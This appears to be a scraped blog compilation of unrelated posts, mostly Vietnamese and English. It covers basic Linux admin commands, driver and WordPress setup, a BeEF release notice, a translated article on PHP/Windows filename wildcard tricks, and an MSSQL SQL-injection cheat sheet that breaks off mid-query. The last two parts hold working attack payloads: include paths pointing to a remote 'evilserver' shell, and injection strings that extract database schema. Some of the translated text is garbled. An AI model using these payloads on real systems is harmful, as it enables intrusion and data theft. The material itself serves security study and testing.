Một số lệnh Linux cơ bản

Khi "kết thân" với Linux, nếu không nắm được một số câu lệnh cần thiết thì công việc quản trị của bạn sẽ gặp không ít khó khăn. Dưới đây là một số lệnh Linux cơ bản giúp cho việc quản trị của bạn dễ dàng hơn rất nhiều.

1. Hiển thị tiến trình trong hệ thống Linux

Một trong những công việc cần thiết khi quản trị hệ thống Linux đó là kiểm soát các tiến trình hiện đang chạy. Khi đã biết được những tiến trình nào đang chạy bạn có thể tắt những tiến trình gây giảm tốc độ của hệ thống. Ngoài ra, thông tin về những tiến trình hệ thống cho chúng ta biết nên tắt nhưng tiến trình làm cho hệ thống vận hành không ổn định. Do đó việc biết được những tiến trình nào đang chạy trên hệ thống rất quan trọng. Linux hỗ trợ nhiều phương pháp kiểm tra tiến trình, một trong số đó là sử dụng lệnh ps. Khi sử dụng lệnh này mọi thông tin về những tiến trình đang chạy sẽ được hiển thị. Bạn chỉ cần nhập cú pháp lệnh sau vào cửa sổ terminal:

# ps aux | less



Hình 1: Thông tin tiến trình đang chạy trong hệ thống.

Ngoài ra lệnh này có thể sử dụng kết hợp với một số tham số khác như:
# ps –A: Kiểm tra mọi tiến trình trong hệ thống.
# ps -U root -u root –N: Kiểm tra mọi tiến trình ngoại trừ những tiến trình hệ thống.
# ps -u username: Kiểm tra những tiến trình được thực hiện bởi một người dùng nhất định.

Hoặc bạn có thể sử dụng lệnh # top để xem những tiến trình đang chạy trên hệ thống trong thời gian thực.

2. Kiểm tra thông tin Socket và thông tin mạng TCP/UDP

Sau khi cấu hình những dịch vụ mạng của hệ thống Linux, bạn cần phải giữ lại tab của các cổng đang thực sự nhận tín hiệu trên giao diện mạng của hệ thống. Điều này rất quan trọng vì hệ thống có thể bị xâm nhập qua các cổng mở. Có một số công cụ quản lý Linux thông báo cho bạn biết thông tin của những cổng mởvà truy cập vào những cổng đang mở trên mạng. Một trong những phương pháp đơn giản và tin cậy nhất đó là sử dụng lệnh ss để kiểm tra thông tin Socket, ngoài ra lệnh này còn có thể hiển thị nhiều thông tin TCP và thông tin trạng thái hơn các công cụ khác. Lệnh ss này cung cấp thông tin về:
  • Mọi Socket TCP.
  • Mọi Socket UDP.
  • Mọi kết nối ssh/ftp/http/https.
  • Mọi tiến trình cục bộ được kết nối tới máy chủ X.
  • Mọi Socket TCP trong trạng thái FIN-WAIT-1.

Dưới đây là một số lệnh ss:
# ss –s: Hiển thị tổng số Socket.



Hình 2: Thông tin kết xuất khi chạy lệnh # ss –s.

# ss -1: Hiển thị mọi cổng mở.



Hình 3: Thông tin kết xuất khi chạy lệnh # ss -1.

# ss –pl: Kiểm tra tên tiến trình sử dụng Socket mở sử dụng lệnh sau:

# ss -lp | grep: Kiểm tra người dùng đang làm việc với Socket mở.

# ss -t –a: Hiển thị mọi Socket TCP.

# ss -u –a: Hiển thị mọi Socket UDP.

3. Theo dõi Average CPU Load và Disk Activity

Nếu là một quản trị viên hệ thống Linux, bạn cần phải biết phương pháp duy trì một sự cân bằng hợp lý trong quá trình tải đầu vào và đầu ra giữa các ổ đĩa vật lý. Bạn có thể thay đổi cấu hình hệ thống để thực hiện tác vụ này. Tuy nhiên có một phương pháp đơn giản hơn rất nhiều đó là sử dụng lệnh isostat để quản lý hệ thống thiết bị tải đầu vào và đầu ra trong Linux bằng cách theo dõi thời gian hoạt động và tốc độ truyền trung bình của những thiết bị này. Lệnh này sẽ thông báo thông tin của CPU (Central Processing Unit), thông tin đầu vào và đầu ra cho những thiết bị, phân vùng và hệ thống file mạng (NFS).
Khi chạy lệnh isostat thông tin kết xuất có dạng:


Hình 4: Thông tin hiển thị khi chạy lệnh isostat.

Để lấy thông tin thư mục NFS bạn hãy sử dụng lệnh sau:
# iostat –n

4. Kiểm tra Memory Map của các tiến trình trong Linux

Khi làm việc trong hệ thống Linux có thể bạn cần kiểm tra dung lượng bộ nhớ sử dụng trong hệ thống. Linux tích hợp nhiều lệnh cho phép kiểm tra dung lượng bộ nhớ chiếm dụng. Trong đó có một lệnh đơn giản giúp hiển thị thông tin tổng dung lượng đã chiếm dụng và chưa chiếm dụng của bộ nhớ vật lý và tổng dung lượng bộ nhớ đó là lệnh free.

Sau khi chạy lệnh này bạn sẽ thấy tổng dung lượng đã chiếm dụng và chưa chiếm dụng của bộ nhớ vật lý và tổng dung lượng bộ nhớ trong hệ thống. Ngoài ra nó còn hiển thị thông tin bộ nhớ đệm mà các nhân sử dụng.


Hình 5: Thông tin hiển thị sau khi chạy lệnh free


5. Kiểm tra thời gian vận hành của hệ thống


Bạn có muốn biết máy chủ đã vận hành bao lâu? Nếu muốn bạn chỉ cần sử dụng lênh uptime để kiểm tra thời gian mà hệ thống đã vận hành. Lệnh đơn giản này không chỉ cho bạn biết thời gian hệ thống vận hành mà còn cho biết lượng người dùng đã đăng nhập vào hệ thống trong một khoảng thời gian trước đó.


Hình 6: Kết quả lệnh uptime.

6. Kiểm tra người dùng đăng nhập

Ngoài những công cụ quản lý Linux, bạn có thể sử dụng một lệnh để kiểm tra những người dùng nào đã thực hiên đăng nhập vào hệ thống và những gì họ đã thực hiện. Lệnh này sẽ hiển thị thời gian hiện tại, thời gian hệ thống đã vận hành, lượng người dùng đã đăng nhập.

Ngoài ra lệnh này cũng hiển thị lượng tải trung bình trong mỗi 1, 5 và 15 phút. Lệnh này rất hữu dụng với những Admin hệ thống muốn sử dụng thông tin tải trung bình để hoạch định dung lượng.

Để kiểm tra ai đã đăng nhập vào hệ thống và những tác vụ họ đã thực hiện bạn chỉ cần chạy lệnh sau:
# w username



Hình 7: Thông tin hiển thị sau khi chạy lệnh # w username.

7. Kiểm soát hành vi hệ thống, phần cứng và thông tin hệ thống trong Linux

Với nhiều người dùng Linux, kiểm soát hệ thống là một tác vụ phức tạp. Hầu hết các bản phân phối Linux tích hợp khá nhiều công cụ kiểm soát. Những công cụ kiểm soát này cung cấp các phương pháp có thể được áp dụng để kiểm tra thông tin hành vi hệ thống. Việc kiểm soát hệ thống cho phép người dùng theo dõi nguyên nhân khả năng thực thi của hệ thống bị cản trở. Một trong những tác vụ cần thiết của quá trình kiểm soát hệ thống là tra cứu thông tin về hành vi hệ thống, phần cứng và thông tin bộ nhớ. Có một lệnh đơn giản giúp hiển thị thông tin về tiến trình, bộ nhớ, trang ghi, nhóm IO, lỗi và hành vi CPU đó là lệnh vmstat.

Bạn chỉ cần nhập lệnh sau vào cửa sổ terminal:
# vmstat 3


Hình 8: Thông tin kết xuất của lệnh # vmstat 3.

Ngoài ra bạn có thể sử dụng lệnh # vmstat –m để kiểm tra thông tin bộ nhớ, và lệnh # vmstat –a để hiển thị thông tin trang nhớ đang hoạt động và không hoạt động.


Hình 9: Thông tin hiển thị sau khi chạy lệnh # vmstat –a.

8. Kiểm tra thông tin phần cứng của hệ thống Linux

Với một số người dùng Linux thì việc kiểm tra thông tin phần cứng thật không dễ dàng. Linux là một hệ thống phức tạp nhưng nó lại tích hợp một số công cụ giúp lấy thông tin chi tiết của phần cứng, chẳng hạn chúng ta có thể sử dụng một lệnh khá đơn giản để kiểm tra thông tin đĩa cứng trên hệ thống đó là lệnh hdparm. Lệnh này cung cấp một giao diện dòng lệnh để thực hiện quản lý nhiều loại đĩa cứng được hệ thống phụ điều khiển thiết bị ATA/IDE của Linux hỗ trợ. Nó cung cấp một lệnh giúp hiển thị thông tin xác minh như dung lượng, thông tin chi tiết, … trực tiếp từ ổ đĩa. Thông tin này được lưu dưới một định dạng mở rộng mới. Bạn chỉ cần đăng nhập dưới quyền root user và sử dụng lệnh sau:
# hdparm -I /dev/sda

Hoặc dùng lệnh:
$ sudo hdparm -I /dev/sda

Khi đó thông tin về đĩa cứng của hệ thống sẽ lập tức hiển thị.


Hình 10: Thông tin chi tiết của đĩa cứng .

Nhận dạng thiết bị trong Linux bằng Window driver

Như chúng ta đã biết, Linux có 1 nền tảng hỗ trợ phần cứng khá đa dạng, nhưng bạn sẽ làm gì nếu hệ điều hành Linux đang sử dụng không nhận diện chính xác một thiết bị nào đó. Trong bài viết dưới đây, chúng tôi sẽ trình bày một số bước cơ bản để khắc phục vấn đề này bằng Windows driver và ndiswrapper.

Cụ thể chúng tôi sẽ tiến hành thử nghiệm với thiết bị card Wireless. Việc sử dụng driver của Windows trong nền tảng Linux có thể sẽ giúp card Wireless có tốc độ truyền tải dữ liệu nhanh hơn và hỗ trợ khả năng mã hóa tốt hơn. Nhưng nếu thiết bị hoạt động bình thường, chúng tôi khuyến cáo các bạn không nên tiếp tục vì sẽ gây ra sự xung đột với driver sẵn có của Linux.

Việc trước tiên cần làm là tìm ra thông tin, nguồn gốc chính xác của thiết bị. Ví dụ như ở trong bài thử nghiệm này là mẫu AE1000 của Cisco:



Sau đó, truy cập vào trang chủ và tải driver dành cho Windows. Tốt nhất là các bạn nên tải phiên bản driver dành cho Windows XP 32-bit dưới dạng .zip thay vì .exe. Nếu không, hãy chọn bản dành cho hệ điều hành Windows mới nhất. Sau đó, giải nén file bằng chương trình thích hợp:



Sau đó, tiến hành cài đặt Ndiswrapper qua Software Center của Ubuntu. Lưu ý rằng công cụ này đã được cài đặt sẵn trong Linux Mint:



Tiếp đó, các bạn mở Windows Wireless Drivers từ System -> Administration:



Chọn tiếp Install New Driver và trỏ tới thư mục vừa giải nén driver ở bước trên:



Đôi khi file .inf nằm trong thư mục con bên trong, cho nên bạn cần tìm kỹ:



Sau khi chọn được file .inf thích hợp, nhấn Install. Quá trình này diễn ra trong khoảng 1 – 2 phút:



Khi kết thúc quá trình này, trong cửa sổ chính của chương trình sẽ hiển thị các driver phù hợp đi kèm với file .inf bên phải. Nếu bạn chọn nhầm driver trong lần đầu tiên, các bạn hãy thử lại với file .inf khác. Trong trường hợp không có file .inf nào hoạt động, thì bạn hãy thử với các phiên bản Windows khác, ví dụ như Windows, Vista, 7:



Khi hoàn tất, chúng ta chỉ việc mở mục Ubuntu Network Connections và tiến hành kết nối như bình thường:



Chúc các bạn thành công!

Tìm hiểu về /dev/null

Trong quá trình sử dụng linux hay xem các bài hướng dẫn bảo mật chắc các bạn đã từng nghe nhiều đến một file đặt biệt trong hệ thống các file của linux là file /dev/null. Hôm nay tớ xin viết một bài giới thiệu về file này để các bạn cùng hiểu thêm về hệ thống file của linux, ngoài ra có thể áp dụng nó trong việc bảo mật.

1. Trong linux mọi thứ là file.

Điều căn bản này rất quan trọng nên tớ xin nhấn mạnh lại một lần nữa, hệ điều hành linux xem mọi thứ đều là "file" và theo định nghĩa thì file là" a block of arbitrary information, or resource for storing information".

Vì vậy dễ dàng nhận thấy đối với linux thì folder cũng là file. Nhưng để làm việc hiệu quả thì linux cũng cần phải chia ra làm nhiều loại file khác nhau phục vụ cho công việc, thông thường thì có 7 loại chính sau đây.

Code:

d = directory
l = symbolic link
s = socket
p = named pipe
- = regular file
c = character (unbuffered) device file special
b = block (buffered) device file special

Các bạn thử gõ lệnh sau đây xem
Code:

ls -al /dev/null

Kết quả cho ra sẽ là
Code:

crw-rw-rw- 1 root root 1, 3 2011-04-26 13:00 /dev/null

Vậy nên có thể kết luận /dev/null là loại "character (unbuffered) device file special" (nội dung bài này không phải là phân tích cấu trúc các file linux nên phần này tớ bỏ qua không giải thích nhé).

2. Đặt điểm của /dev/null

/dev/null (còn gọi là "the null device") là một file có đặt điểm là vứt bỏ (discards) mọi dữ liệu mà người dùng ghi vào trong nó (thường thông qua các lệnh chuyển hướng của shell hay các lệnh mv, cp,...), nhưng nó vẫn báo là hoàn thành quá trình ghi vào chớ không sinh ra lỗi. Và vì file này không lưu gì vào trong cả nên dĩ nhiên là cũng không xuất ra bất cứ cái gì.

Người ta xem như nó là một "lỗ đen" trong máy tính, có tác dụng thu nhận mọi thứ và không giới hạn, nhưng chả trả lại cái gì cả

3. Ứng dụng của file /dev/null

Dựa vào trong những đặt điểm trên của file /dev/null, nó được ứng dụng rộng rãi kể cả trong bảo mật (thậm chí mục tiêu bảo mật là chính), một vài ứng dụng của nó trong bảo mật là:

- Các gói tin nào không phù hợp thường được firewall chuyển vào trong /dev/null
- Các email server cũng thường được config để chuyển các email spam vào trong /dev/null giúp không bị đầy hdd
- Trong các chương trình bắt buộc phải có đầu ra dữ liệu, nhưng vì bảo mật bạn không muốn nó xuất hiện các thông tin đầu ra ví dụ .bash_history của root thì cũng có thể dùng /dev/null
- Ngoài ra các bạn còn có thể tạo các file rỗng bằng cách lấy dữ liệu trong /dev/null ra.
- ... và còn nhiều thứ nữa.

Install WordPress on CentOS/RHEL in Five Minutes Flat (remix)

INSTALL THE SYSTEM PREREQUISITES


# yum install mysql-server httpd nano php php-mysql
# chkconfig httpd on
# chkconfig mysqld on
# service mysqld start
# service httpd start

CREATE THE DATABASE


# mysqladmin create wordpress
# mysql
mysql> GRANT ALL PRIVILEGES ON wordpress.* TO 'wordpress'@'localhost' IDENTIFIED BY 'please+use+a+strong+password';
mysql> FLUSH PRIVILEGES;
mysql> quit

DOWNLOAD AND INSTALL WORDPRESS


# cd /var/www/
# mkdir wordpress
# cd wordpress
# curl -O http://wordpress.org/latest.tar.gz
# tar xvfz latest.tar.gz
# rm latest.tar.gz
# mv wordpress/ public
# mkdir logs public/wp-content/uploads public/wp-content/cache
# chown apache:apache logs public/wp-content/uploads public/wp-content/cache
# cd public/

CONFIGURE WORDPRESS


Create the WordPress config file outside web root:

# mv wp-config-sample.php ../wp-config.php
# curl https://api.wordpress.org/secret-key/1.1/salt/

Copy the output to your clipboard before editing wp-config.php.

# nano ../wp-config.php
define('DB_NAME', 'wordpress'); define('DB_USER', 'wordpress'); define('DB_PASSWORD', 'enter+the+strong+password+you+defined'); define('DB_HOST', 'localhost'); 


define('AUTH_KEY', 'pasted from clipboard'); define('SECURE_AUTH_KEY', 'pasted from clipboard'); define('LOGGED_IN_KEY', 'pasted from clipboard'); define('NONCE_KEY', 'pasted from clipboard'); define('AUTH_SALT', 'pasted from clipboard'); define('SECURE_AUTH_SALT', 'pasted from clipboard'); define('LOGGED_IN_SALT', 'pasted from clipboard'); define('NONCE_SALT', 'pasted from clipboard'); 

CONFIGURE APACHE


# nano /etc/httpd/conf.d/wordpress.conf
NameVirtualHost *:80 <VirtualHost *:80> ServerAdmin webmaster@dummy-host.example.com DocumentRoot /var/www/wordpress/public ServerName dummy-host.example.com ErrorLog /var/www/wordpress/logs/error_log CustomLog /var/www/wordpress/logs/access_log common <Directory /var/www/wordpress/public/wp-content> Options FollowSymLinks # for pretty permalink support RemoveHandler .php RemoveType text/html .php </Directory> </VirtualHost> 

# service httpd restart

WordPress permalink on CentOS 5 tutorial

The installation of WordPress is simple and straightforward. Really. So I’m not going to detail the installation process, which is well documented here. However, the permalink feature does not work out of the box on a standard CentOs 5 distribution. Some changes have to be made in the apache configuration files to enable mod_rewrite in your WordPress directory.

Let’s say you installed WordPress in the root of your website. By default on your CentOs’s apache, the document root of your website is located in /var/www/html.

    1. create an empty a .htaccess file in this directory.
    2. WordPress should be able to read/write this file when updating your settings in the admin pages, so make sure the user running apache has the right to write this file. If not, chmod/chown it. Usually this should do the trick:
      chown apache:apache /var/www/html/.htaccess

    3. now edit the /etc/httpd/conf/httpd.conf file. Search the following:

<Directory "/var/www/html">


# AllowOverride controls what directives may be placed in .htaccess files.
# It can be "All", "None", or any combination of the keywords:
#   Options FileInfo AuthConfig Limit
#
AllowOverride None

  1. Change this line to:
    AllowOverride All

    This allows apache to read and interpret the .htaccess located in you document root.
  2. Restart Apache
  3. Now you can change your permalink settings in the admin pages of WordPress, which will modify the .htaccess file created above.Check the rights of the .htaccess file, maybe apache can write it but not read it.
  4. If so, try :chmod a+r /var/www/html/.htaccess

2. Config permalink for VirtualHost:
<VirtualHost *:80>
ServerAdmin webmaster@host.foo.com
DocumentRoot /www/docs/host.foo.com
ServerName host.foo.com
ErrorLog logs/host.foo.com-error_log
CustomLog logs/host.foo.com-access_log
<Directory /www/docs/host.foo.com/>
Options FollowSymLinks
</Directory>
</VirtualHost>

Get your usb drives to work with VirtualBox(Ubuntu host)

To get your USB drives to work with VirtualBox when using Ubuntu as a host, you need to add your user to the vboxusers group. Please note that this doesn’t work with VirtualBox OSE, so you’ll need to install VirtualBox from its repository.

To add your username to the vboxusers group in Ubuntu, go to System > Administration > Users and Groups, click on “Manage groups“, scroll down to the “vboxusers” group and click “Propreties“, then check the box next to your username and click OK:


Then log out and log back in, plug in an USB stick (or whatever you may need), start a VirtualBox machine and select the USB device in the lower right. Using this, the USB device won’t be accessible each time you start the VM.
To have an USB device available each time you start a VM, open VirtualBox, select a VM, click on “Settings” and on the USB tab, click the “+” icon on the right – this will display a list of your USB devices which you can add to your VM.



If you want to set up USB for VirtualBox manually, you can run the following command:

sudo gedit /etc/group

Then search for the “vboxusers” group and add your username to that line, like so:
vboxusers:x:125:andrei

“andrei” is my username – replace it with yours. Then save the file, log out and see above on how to add an USB drive to VirtualBox.

Penetration Testing Framework



This framework helps you to pentest a system. Step by step !

Penetration Testing Framework 0.58

And this is Wireless Penetration Testing Framework







BeEF – 0.4.2.4-alpha



BeEF has release new version : 0.4.2.4-alpha

BeEF, the Browser Exploitation Framework is a professional security tool provided for lawful research and testing purposes. It allows the experienced penetration tester or system administrator additional attack vectors when assessing the posture of a target. The user of BeEF will control which browser will launch which command module and at which target.

BeEF hooks one or more web browsers as beachheads for the launching of directed command modules in real-time. Each browser is likely to be within a different security context. This provides additional vectors that can be exploited by security professionals.

The Framework is being ported to Ruby. The process is well underway and is available for testing. To download alpha versions view the download area on

http://code.google.com/p/beef/downloads/list

New vulnerabilities to access files in PHP

Some years ago, everything just went crazy from the Error-based MySQL, and unserialize seemed somewhat complicated and do not occur in real life. Now it’s the classic technique. What can we say about dinosaurs such as zero-byte inkludah, which came to replace the file name truncated. Researchers always something to dig up, invent, and in the meantime has come new version of the interpreter, engines, and with them – new bugs developers.
In fact, there are three methods to find vulnerabilities: Savvy (when a researcher comes up with some trick and check if it works in practice), source code analysis and fuzzing. On an interesting Chinese fuzzingand its development from my side I want to tell.


Fuzzing – is not only a valuable fur …


t all started with the fact that Google has ordered the issuance of longer remember which request and showed the website in Chinese: http://code.google.com/p/pasc2at/wiki/SimplifiedChinese , where it was collected many interesting finds Chinese fazzerov. Interestingly, in the list were very fresh discoveries, which have just been published in articles. Among them was found and attracted my attention to the code as follows:

<?php for($i=0;$i<255;$i++) { 
$url = '1.ph'.chr($i); 
$tmp = @file_get_contents($url); 
if(!empty($tmp)) echo chr($i)."\r\n"; 

} 
?>
 


He drew me, because I did not understand the meaning, but made out in the description of the familiar characters «win32»:).Translate the Chinese characters were strangely entertaining even with google.translate, so I stupidly run this code under Windows, and looked at the result. Imagine my surprise when I found that file in windsurfing have existed for at least 4 Name: 1.phP, 1.php, 1.ph>, 1.ph <. Now the Chinese writing system does not seem to me so far, and Google's translator helped to understand its meaning. Actually, in this same "sense" was nothing more than a description of the code and the result of his work.Not that not a lot - not at all! This situation does not suit me. I still do not understand these Chinese people - really they are not interested to understand which features more vulnerable, what features it has a bug in the operation, and finally, why is it all work?

Demand the continuation of the banquet!


The first thing I added a second iterator and run code with fuzzing is already in the last two bytes. The results were predictable:
1.p <0 (null byte at the end) 1.p <(gap at the end) 1.p <"1.p <. 1.p <<1.p>> 1.p <> 1.p> <1.p <(p / P) 1.p> (p / P) 1.p (h / H) <1.p (h / H)> 1.p (h / H) (p / P)

Hence, clearly were showing patterns – at the end of the file name could go symbols: point, double quote, space, zero-byte. To test this hunch, I ran the following code:

<?php if (file_get_contents("test.php".str_repeat("\"",10).str_repeat(" ",10).str_repeat(".",10))) echo 1337; ?>


As you might guess, he returned in 1337, that is, everything works as predicted. This in itself was already expanding on the characters of popular vulnerability, an alternative zero-byte at inkludah. After continued harassment of the interpreter were found design file name with slashes at the ends, which also were read without problems:

file\./.\. file////. file\\\. file\\.//\/\/\/.


I think everything is clear here: if you use forward slashes after the file name, then at the end must always stand point. In this case, the slashes can mix, and between them you can stick in one spot.
In all of this was unclear importantly – what is hidden from the characters <and>?

Great and mighty WINAPI


How can I quickly became clear, fuzzing the nature of this error will not understand. Had two choices: watch sortsy or trace calls.Both of these methods fairly quickly pointed to the same thing – call to FindFirstFile. In this case, the call stack has been held with the replacement character> on?, A <to *, double quote is replaced by a point. Also a lot of fun was to notice that, despite the change, <not always work as * in the mask file, but <is always good rehearsed. In this case, the stack both calls were completely identical, but gave different results (see figure). Now it is completely clear where legs grow. And his feet did grow from K named MS.


MSDN Use


Now it was necessary to understand whether such behavior is a function FindFirstFile normal, or is there is a bug. Seek an answer to this question I started with the documentation: msdn.microsoft.com/en-us/library/aa364418 (V = VS.85). aspx .
In the most documentation said nothing about the character> “”, but here in the comments …
Bug?!
The characters of ‘<’ and ‘>’ are treated like wildcard by this function.

[MSFT] – these are listed in the Naming A File topic as illegal characters in path and file names. That topic is being updated to make this clearer.
History

10/19/2007
xMartian

5/2/2008
Mark Amos – MSFT

That is, this bug was known back in 2007! And the answer is generally the manufacturer shook their content … No comment:). On this, like, it finally became clear reason for such behavior PHP. Could begin to expand the scope of this bug. After trying various options, re-reading a bunch of documentation (MSDN, and really very useful) and tested hundreds of ideas, I found a set of rules that work for file names in the WIN-systems. And a bug in the FindFirstFile contributes only to the first four of them (the zero point is not counted). Also, looking ahead, I will say that the vulnerability is not only a function file_get_contents:
  1. * And? do not work in file names when calling FindFirstFile through PHP (filtered).
  2. < Character is replaced with a call to FindFirstFile *, ie, mask any number of any characters. In this case, were found instances where it works properly (see picture). To ensure the mask should be used * <.
    Example: include (‘Shell <’) connects a file shell *, and if the mask gets more than one file, then connect the one that is earlier in alphabetical order.
  3. > Symbol is replaced by a call to FindFirstFile?, That is one symbol.
    Example : include (‘shell.p> p’) connects a file shell.p? p, and if the mask gets more than one file, then connect the one that is earlier in alphabetical order.
  4. Symbol is replaced by a call to the FindFirstFile point.
    Example: include (‘Shell “PHP’) is equivalent to include (‘shell.php’).
  5. If the first character in the filename point, then read the file can be named without regard to this point.
    Example: fopen (“htaccess”) is equivalent to fopen (“. htaccess”), while more complex, true with claim 1, fopen («h <<»). Since the file name the second letter” a “, then alphabetically He is likely to be the first.
  6. At the end of the file names you can use a sequence of slashes the same or different species (forward and reverse), among which you can put a single point, and in the end must always stand point, and not, as the real thing.
    Example: fopen (“”)
  7. You can use the network names that begin with \ \, followed by a any character except the point. This is obvious and has long been known to all. Supple only that if the network name does not exist, then the file operation goes the extra 4 seconds, which contributes to the expiration of the time and error max_execution_time (see the article “ Gyulchataj, open face “). Also, it allows you to bypass allow_url_fopen = Off and make RFI.
    Example: include (‘\ \ evilserver \ shell.php’)
  8. You can use the extended names starting with \ \. \, Which gives the ability to switch between the disks in the file name.
    Example: include (‘\ \. \ C: \ My \ file.php \ .. \ .. \ .. \ D: \ anotherfile.php’).
  9. You can use an alternative name syntax disk to bypass filtering slashes.
    Example: file_get_contents (‘C: Boot.ini’) is equivalent to file_get_contents (‘C: / boot.ini’)
  10. You can use the short DOS-compatible file names and directories. This is a dupe, do not argue. But draw your attention that if a directory is more than four files with names shorter than three characters, these names will be supplemented by four hex characters. Similarly, will change the file name in the directory are more than four files whose names begin with the same first two letters.
    Quote:
    Specifically, if more than four files use the same six-character root, additional file names are created by combining the first two characters of the file name with a four-character hash code and then appending a unique designator. A directory could have files named MYFAVO ~ 1.DOC, MYFAVO ~ 2.DOC, MYFAVO ~ 3.DOC, and MYFAVO ~ 4.DOC.Additional files with this root could be named MY3140 ~ 1.DOC, MY40C7 ~ 1.DOC, and MYEACC ~ 1.DOC.

    Example: in.conf a DOS name IND763 ~ 1.CON, that is, it is possible to read stitch file_get_contents (‘<<D763 <<’), which does not contain any bytes from this file name! How are these four Hex characters never said, but they seem to depend only on the file name.
  11. In PHP on the command line environment (not mod_php, as php.exe) runs specific files with reserved names aux, con, prn, com1-9, lpt1-9.
    Example: file_get_contents (‘C: / tmp / con.jpg’) will be endlessly read from the device CON null bytes, waiting for EOF.
    Example: file_put_contents (‘C: / tmp / con.jpg’, Chr (0×07)) pisknet speaker server (music:)).

I advise you to cut out all the items in a frame and hang in a prominent place. Over will not:).
Play Counting

Chinese believe in the caption under the fuzzing that the vulnerability only applies to file_get_contents, I just could not, though, because few could remember the source PHP. Without thinking twice, I checked all the functions that are thought about working with files. The results were more than positive.
The vulnerability is present in the functions:

fopen file_get_contents copy parse_ini_file readfile file_put_contents mkdir tempnam touch move_uploaded_file include(_once) require(_once) ZipArchive::open()


Not listed in:

rename unlink rmdir 


There where carousing, is not it? But it’s not so bad.
PoC: the idea of ​​using

It is obvious that this vulnerability could be used to bypass all possible filters and restrictions. For example, for the file. Htaccess, an alternative name will h <<(see section 4, p.1). Two-character files can be read without a name (see p.9).. And so on. There is another, no less an interesting application – Define names of folders and files.
Consider this example:

<?php file_get_contents("/images/".$_GET['a'].".jpg"); ?>


With this code, you can easily get a list of web server directories.
Sends a request to test.php? A =.. / a <% 00 and get an answer form

Warning: include(/images/../a<) [function.include]: failed to open stream: Invalid argument in ...


or


Warning: include(/images/../a<) [function.include]: failed to open stream: Permission denied ...


In the first case, the server has not found any directory beginning with the letter “a” in the root, the second – has found.
Then you can start the selection of the second letter and so on. To speed up you can use phonetics (see “Faster, higher and faster again. revolutionary approach to manual SQL-injection” ). Works good old-fashioned technique of exploitation of blind SQL injection.
During the experiments it was observed that sometimes the server just gives the path found in the error message. Then pick only have if the directory starts with the same symbol. What determines the output errors, I have not had time to sort things out and leave it to the public.
Digression

It is gratifying to note that the report from the Chinese and found the magician, who published it, among others, in the article“Little-known methods of attacks on web-application” yet on April 19, but the explanations and an emphasis on the vulnerability was not there, there was only the Chinese sample, from which I began.
Morality

Frankly, very much like to find an alternative to the null-byte, but in vain. But this vulnerability opens the door for other, equally interesting attacks. In fact, providing search capabilities directory and files over the functions work with files. That in itself is a unique phenomenon. Whatever it was, Respect the Chinese with their fuzzing, but urge both them and all others to explore the raw data obtained in this way. Fuzzing fuzzing, and must think his head.

Source : http://habrahabr.ru/company/xakep/blog/112691/

MSSQL Tips (SQL injection)

1 - Standard SQL injection (not blind)



1.1 - Information gathering




Get server version:
' OR 1 in (select @@version) --

Get server name:
' OR 1 in (select @@servername) --

Get current username:
' OR 1 in (select USER_NAME()) --

Get current database name:
' OR 1 in (select DB_NAME()) --

1.2 - Database structure


MSSQL is a very friendly database... you can get all db structures via normal select. Fist of all you can take the list of databases on the server.
select * from master..sysdatabases

Using an sql injection like:
' or 1 in (select name from master..sysdatabases) --

will show you only the first result. To get all records we need to implement something in sql like the limit keyword on mysql ($XX$ is the row number):
SELECT name FROM master..sysdatabases T1 WHERE ((SELECT COUNT(*) FROM master..sysdatabases T2 WHERE T2.name <= T1.name) = $XX$)

or you can use this way (I know, someone will think 2 top should be enough, but sometimes it gives trouble, with 3 top no... don't ask me why... hey Lame! it's your query!):
SELECT TOP 1 name FROM (SELECT TOP 1 name FROM (SELECT TOP $XX$ name FROM master..sysdatabases ORDER BY name ASC) as foo ORDER by name DESC) as foo ORDER by name DESC

You can test this syntax with ("or 1 in" on the first query will return always the same result, so we will use "or 1 ="):
' or 1 = (SELECT name FROM master..sysdatabases T1 WHERE ((SELECT COUNT(*) FROM master..sysdatabases T2 WHERE T2.name <= T1.name) = $XX$)) --

' or 1 in (SELECT TOP 1 name FROM (SELECT TOP 1 name FROM (SELECT TOP $XX$ name FROM master..sysdatabases ORDER BY name ASC) as foo ORDER by name DESC) as foo ORDER by name DESC)--

To get numeric data we need to convert them to strings and append a non numeric char, otherwise the sql server will do an automatic cast.
' or 1 in (select CONVERT(varchar(255),dbid)+'$' from master..sysdatabases) --

and we can append data to get results faster
' or 1 = (SELECT CONVERT(varchar(255),dbid)+'$'+name FROM master..sysdatabases T1 WHERE ((SELECT COUNT(*) FROM master..sysdatabases T2 WHERE T2.name <= T1.name) = $XX$)) --

Ok, now we have to get the tables name, columns etc. We will work on the current database, but you can access to the others with a double dot syntax, like "master..sysdatabases".
This query will return you all the primary keys of all tables names, column names and column type (string, boolean, int).
SELECT T1.name AS Tablename, T2.name AS Columnname, T2.xtype AS Columntype

FROM sysobjects T1, syscolumns T2 

WHERE (T1.id = T2.id) AND (T1.xtype = 'U' OR T1.xtype = 'V') AND (T2.colid  IN (SELECT keyno FROM sysindexkeys WHERE T1.id = id AND T2.colid = keyno))

and this one will return all non primary keys.
SELECT T1.name AS Tablename, T2.name AS Columnname, T2.xtype AS Columntype

FROM sysobjects T1, syscolumns T2 

WHERE (T1.id = T2.id) AND (T1.xtype = 'U' OR T1.xtype = 'V') AND (T2.colid  NOT IN (SELECT keyno FROM sysindexkeys WHERE T1.id = id AND T2.colid = keyno))

So you can build the database structures using this query:
SELECT  Tablename+'$'+Columnname+'$'+CONVERT(varchar(255),Columntype)

FROM (

SELECT T1.name AS Tablename, T2.name AS Columnname, T2.xtype AS Columntype, T2.id AS id

FROM sysobjects T1 INNER JOIN syscolumns T2 ON T1.id = T2.id

WHERE (

(T1.xtype = 'U' OR T1.xtype = 'V') AND 

(T2.colid IN (

SELECT keyno 

FROM sysindexkeys 

WHERE T1.id = id AND T2.colid = keyno

))

)

) T4

WHERE ((

SELECT COUNT(*)

FROM (

SELECT T7.name AS Tablename, T8.name AS Columnname, T8.xtype AS Columntype, T8.id AS id

FROM sysobjects T7 INNER JOIN syscolumns T8 ON T7.id = T8.id

WHERE (     

(T7.xtype = 'U' OR T7.xtype = 'V') AND 

(T8.colid IN (

SELECT keyno

FROM sysindexkeys

WHERE T7.id = id AND T8.colid = keyno

))

)

) T5

WHERE (CONVERT(varchar(255), T5.id) + T5.columnname <= CONVERT(varchar(255), T4.id) + T4.columnname) 

) = 3

)

or using this (simple) one:
